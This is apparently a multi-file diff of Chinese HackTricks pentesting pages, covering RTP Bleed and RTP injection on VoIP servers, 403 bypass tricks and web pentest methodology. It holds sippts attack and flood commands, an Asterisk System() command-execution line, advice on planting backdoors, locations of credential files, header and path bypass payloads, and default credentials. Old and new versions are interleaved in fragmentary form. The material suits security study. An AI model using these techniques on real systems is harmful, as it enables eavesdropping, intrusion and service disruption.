RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时,RTP 代理软件通常无法依赖通过信令(例如 SIP)获取的 RTP IP 和端口信息。因此,一些 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被呼叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed,因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
|
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时,RTP 代理软件通常无法依赖通过信令(例如 SIP)获取的 RTP IP 和端口信息。因此,一些 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed,因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
|
||||||
|
|
||||||
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
|
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍会 **接受、转发和/或处理来自任何来源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现。
|
||||||
|
|
||||||
Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
|
Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
|
||||||
|
|
||||||
|
@ -561,7 +569,7 @@ Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量
|
||||||
```bash
|
```bash
|
||||||
sippts rtpbleed -i 10.10.0.10
|
sippts rtpbleed -i 10.10.0.10
|
||||||
```
|
```
|
||||||
* **`SIPPTS rtcpbleed`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。
|
* **`SIPPTS rtcpbleed`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。
|
||||||
```bash
|
```bash
|
||||||
sippts rtcpbleed -i 10.10.0.10
|
sippts rtcpbleed -i 10.10.0.10
|
||||||
```
|
```
|
||||||
|
@ -579,50 +587,50 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||||
```scss
|
```scss
|
||||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||||
```
|
```
|
||||||
有一个命令叫 **`Shell`**,可以在必要时 **替代 `System`** 来执行系统命令。
|
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
如果服务器 **不允许在 `System`** 命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 **以某种方式在系统内部创建文件**(如在 Elastix 或 trixbox 中),并利用它 **创建一个后门脚本**,然后使用 **`System`** 来 **执行** 该 **脚本**。
|
如果服务器**不允许在`System`**命令中使用某些字符(如在Elastix中),请检查Web服务器是否允许**以某种方式在系统内部创建文件**(如在Elastix或trixbox中),并利用它**创建一个后门脚本**,然后使用**`System`**来**执行**该**脚本**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### 有趣的本地文件和权限
|
#### 有趣的本地文件和权限
|
||||||
|
|
||||||
* **`sip.conf`** -> 包含 SIP 用户的密码。
|
* **`sip.conf`** -> 包含SIP用户的密码。
|
||||||
* 如果 **Asterisk 服务器以 root 身份运行**,您可能会危害 root。
|
* 如果**Asterisk服务器以root身份运行**,您可能会危害root。
|
||||||
* **mysql root 用户** 可能 **没有任何密码**。
|
* **mysql root用户**可能**没有任何密码**。
|
||||||
* 这可以用来创建一个新的 mysql 用户作为后门。
|
* 这可以用来创建一个新的mysql用户作为后门。
|
||||||
* **`FreePBX`**
|
* **`FreePBX`**
|
||||||
* **`amportal.conf`** -> 包含网络面板管理员(FreePBX)的密码。
|
* **`amportal.conf`** -> 包含Web面板管理员(FreePBX)的密码。
|
||||||
* **`FreePBX.conf`** -> 包含用于访问数据库的用户 FreePBXuser 的密码。
|
* **`FreePBX.conf`** -> 包含用于访问数据库的用户FreePBXuser的密码。
|
||||||
* 这可以用来创建一个新的 mysql 用户作为后门。
|
* 这可以用来创建一个新的mysql用户作为后门。
|
||||||
* **`Elastix`**
|
* **`Elastix`**
|
||||||
* **`Elastix.conf`** -> 包含多个明文密码,如 mysql root 密码、IMAPd 密码、网络管理员密码。
|
* **`Elastix.conf`** -> 包含多个明文密码,如mysql root密码、IMAPd密码、Web管理员密码。
|
||||||
* **多个文件夹** 将属于被攻陷的 asterisk 用户(如果不是以 root 身份运行)。该用户可以读取之前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他后门二进制文件。
|
* **多个文件夹**将属于被攻陷的asterisk用户(如果不是以root身份运行)。该用户可以读取之前的文件并控制配置,因此他可以使Asterisk在执行时加载其他后门二进制文件。
|
||||||
|
|
||||||
### RTP 注入
|
### RTP注入
|
||||||
|
|
||||||
可以使用工具如 **`rtpinsertsound`**(`sudo apt install rtpinsertsound`)和 **`rtpmixsound`**(`sudo apt install rtpmixsound`)在对话中插入 **`.wav`** 文件。
|
可以使用工具如**`rtpinsertsound`**(`sudo apt install rtpinsertsound`)和**`rtpmixsound`**(`sudo apt install rtpmixsound`)在对话中插入**`.wav`**。
|
||||||
|
|
||||||
或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来 **扫描对话**(**`rtpscan.pl`**)、向对话发送 **`.wav`**(**`rtpsend.pl`**)和 **在对话中插入噪音**(**`rtpflood.pl`**)。
|
或者您可以使用来自[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)的脚本来**扫描对话**(**`rtpscan.pl`**)、向对话发送一个**`.wav`**(**`rtpsend.pl`**)并在对话中**插入噪音**(**`rtpflood.pl`**)。
|
||||||
|
|
||||||
### DoS
|
### DoS
|
||||||
|
|
||||||
有几种方法可以尝试在 VoIP 服务器上实现 DoS。
|
有几种方法可以尝试在VoIP服务器上实现DoS。
|
||||||
|
|
||||||
* **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood 向目标发送无限消息。
|
* **`SIPPTS flood`**来自[**sippts**](https://github.com/Pepelux/sippts)**:SIPPTS洪水向目标发送无限消息。
|
||||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||||
* **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
|
* **`SIPPTS ping`**来自[**sippts**](https://github.com/Pepelux/sippts)**:SIPPTS ping进行SIP ping以查看服务器响应时间。
|
||||||
* `sippts ping -i 10.10.0.10`
|
* `sippts ping -i 10.10.0.10`
|
||||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX 协议用于 Asterisk。
|
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX协议用于Asterisk。
|
||||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
|
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在UDP/IP上执行SIP/SDP INVITE消息洪水的工具。
|
||||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的 RTP 数据包。需要先知道正在使用的 RTP 端口(先嗅探)。
|
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的RTP数据包。需要知道正在使用的RTP端口(先嗅探)。
|
||||||
* [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量,因此也可以用于 DoS。
|
* [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成SIP流量,因此也可以用于DoS。
|
||||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可以用于执行 SIP 攻击。
|
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP瑞士军刀。也可以用于执行SIP攻击。
|
||||||
* 模糊测试工具: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
* 模糊测试工具:[**protos-sip**](https://www.kali.org/tools/protos-sip/),[**voiper**](https://github.com/gremwell/voiper)。
|
||||||
|
|
||||||
### 操作系统漏洞
|
### 操作系统漏洞
|
||||||
|
|
||||||
安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 **操作系统发行版**,例如:**FreePBX, Elastix, Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能 **不会再更新它们**,而 **漏洞** 会随着时间的推移被发现。
|
安装像Asterisk这样的软件最简单的方法是下载一个已经安装了它的**操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能**不会再更新它们**,而**漏洞**会随着时间的推移被发现。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -634,16 +642,24 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的Web应用程序、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,17 +17,19 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## HTTP 动词/方法模糊测试
|
## HTTP 动词/方法模糊测试
|
||||||
|
|
||||||
尝试使用 **不同的动词** 访问文件:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
尝试使用 **不同的动词** 访问文件: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||||
|
|
||||||
* 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应**,带有 `Content-Length: 55`,意味着 **HEAD 动词可以访问信息**。但你仍然需要找到一种方法来提取该信息。
|
* 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应**与 `Content-Length: 55` 意味着 **HEAD 动词可以访问信息**。但您仍然需要找到一种方法来提取该信息。
|
||||||
* 使用 HTTP 头如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
|
* 使用 HTTP 头如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
|
||||||
* 使用 **`TRACE`** 动词,如果你非常幸运,可能在响应中也能看到 **中间代理添加的头**,这可能会很有用。
|
* 使用 **`TRACE`** 动词,如果您非常幸运,可能在响应中也可以看到 **中间代理添加的头**,这可能会很有用。
|
||||||
|
|
||||||
## HTTP 头模糊测试
|
## HTTP 头模糊测试
|
||||||
|
|
||||||
|
@ -49,21 +51,21 @@
|
||||||
* `X-ProxyUser-Ip: 127.0.0.1`
|
* `X-ProxyUser-Ip: 127.0.0.1`
|
||||||
* `Host: localhost`
|
* `Host: localhost`
|
||||||
|
|
||||||
如果 **路径受到保护**,你可以尝试使用这些其他头来绕过路径保护:
|
如果 **路径受到保护**,您可以尝试使用这些其他头绕过路径保护:
|
||||||
|
|
||||||
* `X-Original-URL: /admin/console`
|
* `X-Original-URL: /admin/console`
|
||||||
* `X-Rewrite-URL: /admin/console`
|
* `X-Rewrite-URL: /admin/console`
|
||||||
* 如果页面在 **代理后面**,可能是代理阻止你访问私有信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
* 如果页面在 **代理后面**,可能是代理阻止您访问私人信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||||
* 模糊测试 [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
|
* 模糊测试 [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
|
||||||
* **在模糊测试 HTTP 方法时模糊测试特殊 HTTP 头**。
|
* **在模糊测试 HTTP 方法时模糊测试特殊 HTTP 头**。
|
||||||
* **移除 Host 头**,也许你将能够绕过保护。
|
* **移除 Host 头**,也许您将能够绕过保护。
|
||||||
|
|
||||||
## 路径 **模糊测试**
|
## 路径 **模糊测试**
|
||||||
|
|
||||||
如果 _/path_ 被阻止:
|
如果 _/path_ 被阻止:
|
||||||
|
|
||||||
* 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path(双重 URL 编码)
|
* 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path(双重 URL 编码)
|
||||||
* 尝试 **Unicode 绕过**:_/**%ef%bc%8f**path_(URL 编码字符类似于 "/"),因此当重新编码时将变为 _//path_,也许你已经绕过了 _/path_ 名称检查
|
* 尝试 **Unicode 绕过**: _/**%ef%bc%8f**path_(URL 编码字符类似于 "/"),因此当重新编码时将变为 _//path_,也许您已经绕过了 _/path_ 名称检查
|
||||||
* **其他路径绕过**:
|
* **其他路径绕过**:
|
||||||
* site.com/secret –> HTTP 403 Forbidden
|
* site.com/secret –> HTTP 403 Forbidden
|
||||||
* site.com/SECRET –> HTTP 200 OK
|
* site.com/SECRET –> HTTP 200 OK
|
||||||
|
@ -92,7 +94,7 @@
|
||||||
## **参数操控**
|
## **参数操控**
|
||||||
|
|
||||||
* 更改 **参数值**:从 **`id=123` --> `id=124`**
|
* 更改 **参数值**:从 **`id=123` --> `id=124`**
|
||||||
* 向 URL 添加额外参数:`?`**`id=124` —-> `id=124&isAdmin=true`**
|
* 向 URL 添加额外参数: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||||
* 移除参数
|
* 移除参数
|
||||||
* 重新排序参数
|
* 重新排序参数
|
||||||
* 使用特殊字符。
|
* 使用特殊字符。
|
||||||
|
@ -100,18 +102,18 @@
|
||||||
|
|
||||||
## **协议版本**
|
## **协议版本**
|
||||||
|
|
||||||
如果使用 HTTP/1.1 **尝试使用 1.0**,甚至测试是否 **支持 2.0**。
|
如果使用 HTTP/1.1 **尝试使用 1.0** 或甚至测试是否 **支持 2.0**。
|
||||||
|
|
||||||
## **其他绕过**
|
## **其他绕过**
|
||||||
|
|
||||||
* 获取域的 **IP** 或 **CNAME** 并尝试 **直接联系** 它。
|
* 获取域的 **IP** 或 **CNAME** 并尝试 **直接联系** 它。
|
||||||
* 尝试 **给服务器施加压力**,发送常见的 GET 请求 ([这对这个人和 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。
|
* 尝试 **给服务器施加压力** 发送常见的 GET 请求 ([这对这个人和 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||||
* **更改协议**:从 http 到 https,或从 https 到 http
|
* **更改协议**:从 http 到 https,或从 https 到 http
|
||||||
* 访问 [**https://archive.org/web/**](https://archive.org/web/) 并检查过去该文件是否 **全球可访问**。
|
* 访问 [**https://archive.org/web/**](https://archive.org/web/) 并检查过去该文件是否 **全球可访问**。
|
||||||
|
|
||||||
## **暴力破解**
|
## **暴力破解**
|
||||||
|
|
||||||
* **猜测密码**:测试以下常见凭据。你对受害者了解些什么?或者 CTF 挑战的名称?
|
* **猜测密码**:测试以下常见凭据。您对受害者了解多少?或者 CTF 挑战的名称是什么?
|
||||||
* [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 身份验证。
|
* [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 身份验证。
|
||||||
|
|
||||||
{% code title="常见凭据" %}
|
{% code title="常见凭据" %}
|
||||||
|
@ -132,27 +134,29 @@ guest guest
|
||||||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||||
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||||||
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
* [Burp 扩展 - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||||
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||||
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 80,443 - Pentesting Web Methodology
|
# 80,443 - Pentesting Web Methodology
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,15 +15,17 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
网络服务是最 **常见和广泛的服务**,存在许多 **不同类型的漏洞**。
|
Web 服务是最 **常见和广泛的服务**,存在许多 **不同类型的漏洞**。
|
||||||
|
|
||||||
**默认端口:** 80 (HTTP),443(HTTPS)
|
**默认端口:** 80 (HTTP),443(HTTPS)
|
||||||
```bash
|
```bash
|
||||||
|
@ -52,7 +54,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
* [ ] 是否有任何**专业扫描器**可以运行(如wpscan)?
|
* [ ] 是否有任何**专业扫描器**可以运行(如wpscan)?
|
||||||
* [ ] 启动**通用扫描器**。你永远不知道它们是否会发现某些东西或找到一些有趣的信息。
|
* [ ] 启动**通用扫描器**。你永远不知道它们是否会发现某些东西或找到一些有趣的信息。
|
||||||
* [ ] 从**初始检查**开始:**robots**、**sitemap**、**404**错误和**SSL/TLS扫描**(如果是HTTPS)。
|
* [ ] 从**初始检查**开始:**robots**、**sitemap**、**404**错误和**SSL/TLS扫描**(如果是HTTPS)。
|
||||||
* [ ] 开始**爬取**网页:是时候**查找**所有可能的**文件、文件夹**和**使用的参数**。同时,检查**特殊发现**。
|
* [ ] 开始**爬取**网页:是时候**查找**所有可能的**文件、文件夹**和**使用的参数**。此外,检查**特殊发现**。
|
||||||
* [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行爬取。_
|
